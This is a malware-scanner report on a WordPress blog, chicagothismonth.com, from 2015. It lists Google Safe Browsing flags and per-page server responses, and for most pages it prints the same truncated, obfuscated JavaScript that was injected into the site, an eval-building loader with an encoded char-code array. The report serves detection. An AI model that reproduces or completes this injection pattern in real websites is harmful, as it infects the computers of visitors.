Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=chicagothismonth.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://chicagothismonth.com/ | HTTP/1.1 301 Moved Permanently Connection: close Date: Sun, 11 Jan 2015 15:32:30 GMT Location: http://www.chicagothismonth.com/ Server: nginx/1.6.2 Content-Length: 0 Content-Type: text/html; charset=UTF-8 X-Pingback: http://www.chicagothismonth.com/xmlrpc.php | clean |
http://www.chicagothismonth.com/ | 200 OK Content-Length: 44812 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,99,115,97,109,119,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,98,114,96,112,118,44,112,114,98,30,58,32,38,102,113,116, Antivirus reports:
| ||
http://www.chicagothismonth.com/about/ | 200 OK Content-Length: 7758 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,99,115,97,109,119,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,98,114,96,112,118,44,112,114,98,30,58,32,38,102,113,116, Antivirus reports:
| ||
http://www.chicagothismonth.com/about/feed/ | 200 OK Content-Length: 707 Content-Type: text/xml | clean |
http://www.chicagothismonth.com/test404page.js | 404 Not Found Content-Length: 6695 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,99,115,97,109,119,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,98,114,96,112,118,44,112,114,98,30,58,32,38,102,113,116, Antivirus reports:
| ||
http://www.chicagothismonth.com/2010/02/ | 200 OK Content-Length: 44908 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,99,115,97,109,119,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,98,114,96,112,118,44,112,114,98,30,58,32,38,102,113,116, Antivirus reports:
| ||
http://www.chicagothismonth.com/02-search-for-a-strong-flea-remedy/ | 200 OK Content-Length: 10172 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,99,115,97,109,119,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,98,114,96,112,118,44,112,114,98,30,58,32,38,102,113,116, Antivirus reports:
| ||
http://www.chicagothismonth.com/category/general/ | 200 OK Content-Length: 45075 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,99,115,97,109,119,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,98,114,96,112,118,44,112,114,98,30,58,32,38,102,113,116, Antivirus reports:
| ||
http://www.chicagothismonth.com/02-where-to-stay-in-rocky-point-mexico/ | 200 OK Content-Length: 10397 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,99,115,97,109,119,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,98,114,96,112,118,44,112,114,98,30,58,32,38,102,113,116, Antivirus reports:
| ||
http://www.chicagothismonth.com/02-where-to-stay-in-rocky-point-mexico/feed/ | 200 OK Content-Length: 811 Content-Type: text/xml | clean |
http://www.chicagothismonth.com/02-where-to-stay-in-rocky-point-mexico/trackback/ | HTTP/1.1 302 Moved Temporarily Connection: close Date: Sun, 11 Jan 2015 15:32:43 GMT Location: http://www.chicagothismonth.com/02-where-to-stay-in-rocky-point-mexico/ Server: nginx/1.6.2 Content-Length: 0 Content-Type: text/html; charset=UTF-8 Link: <http://www.chicagothismonth.com/?p=468>; rel=shortlink X-Pingback: http://www.chicagothismonth.com/xmlrpc.php | clean |
http://www.chicagothismonth.com/wp-login.php?redirect_to=http://www.chicagothismonth.com/02-where-to-stay-in-rocky-point-mexico/ | 406 Not Acceptable Content-Length: 226 Content-Type: text/html | clean |
http://www.chicagothismonth.com/2010/01/ | 200 OK Content-Length: 38197 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,99,115,97,109,119,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,98,114,96,112,118,44,112,114,98,30,58,32,38,102,113,116, Antivirus reports:
| ||
http://www.chicagothismonth.com/01-make-yourself-a-proper-growth-investor-now-with-a-high-level-broker-sell-your-gold-on-the-web-this-minute-and-pay-the-bills-speedily/ | 200 OK Content-Length: 11120 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,99,115,97,109,119,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,98,114,96,112,118,44,112,114,98,30,58,32,38,102,113,116, Antivirus reports:
| ||
http://www.chicagothismonth.com/01-make-yourself-a-proper-growth-investor-now-with-a-high-level-broker-sell-your-gold-on-the-web-this-minute-and-pay-the-bills-speedily/feed/ | 200 OK Content-Length: 1103 Content-Type: text/xml | clean |
http://www.chicagothismonth.com/01-make-yourself-a-proper-growth-investor-now-with-a-high-level-broker-sell-your-gold-on-the-web-this-minute-and-pay-the-bills-speedily/trackback/ | HTTP/1.1 302 Moved Temporarily Connection: close Date: Sun, 11 Jan 2015 15:32:48 GMT Location: http://www.chicagothismonth.com/01-make-yourself-a-proper-growth-investor-now-with-a-high-level-broker-sell-your-gold-on-the-web-this-minute-and-pay-the-bills-speedily/ Server: nginx/1.6.2 Content-Length: 0 Content-Type: text/html; charset=UTF-8 Link: <http://www.chicagothismonth.com/?p=424>; rel=shortlink X-Pingback: http://www.chicagothismonth.com/xmlrpc.php | clean |
http://www.chicagothismonth.com/wp-login.php?redirect_to=http://www.chicagothismonth.com/01-make-yourself-a-proper-growth-investor-now-with-a-high-level-broker-sell-your-gold-on-the-web-this-minute-and-pay-the-bills-speedily/ | 406 Not Acceptable Content-Length: 226 Content-Type: text/html | clean |
http://www.chicagothismonth.com/2009/10/ | 200 OK Content-Length: 7432 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ww=window;v="v"+"al";if(ww.document)try{document.body=12;}catch(gdsgsdg){asd=0;try{q=document.createElement("div");}catch(q){asd=1;}if(!asd){w={a:ww}.a;v="e".concat(v);}}e=w[v];if(1){f=new Array(40,101,115,107,99,115,103,108,110,31,38,38,32,122,11,7,32,31,30,29,118,96,112,29,99,115,97,109,119,31,59,29,100,110,97,114,109,100,108,113,46,98,112,98,97,115,99,66,108,100,107,98,110,115,38,36,105,101,112,94,109,100,37,38,59,12,8,10,10,31,30,29,32,98,114,96,112,118,44,112,114,98,30,58,32,38,102,113,116, Antivirus reports:
|
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: chicagothismonth.com
Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sun, 11 Jan 2015 15:32:30 GMT
Location: http://www.chicagothismonth.com/
Server: nginx/1.6.2
Content-Length: 0
Content-Type: text/html; charset=UTF-8
X-Pingback: http://www.chicagothismonth.com/xmlrpc.php
...0 bytes of data.
GET / HTTP/1.1
Host: chicagothismonth.com
Result:
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Sun, 11 Jan 2015 15:32:30 GMT
Location: http://www.chicagothismonth.com/
Server: nginx/1.6.2
Content-Length: 0
Content-Type: text/html; charset=UTF-8
X-Pingback: http://www.chicagothismonth.com/xmlrpc.php
...0 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: chicagothismonth.com
Referer: http://www.google.com/search?q=chicagothismonth.com
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: chicagothismonth.com
Referer: http://www.google.com/search?q=chicagothismonth.com
Result:
The result is similar to the first query. There are no suspicious redirects found.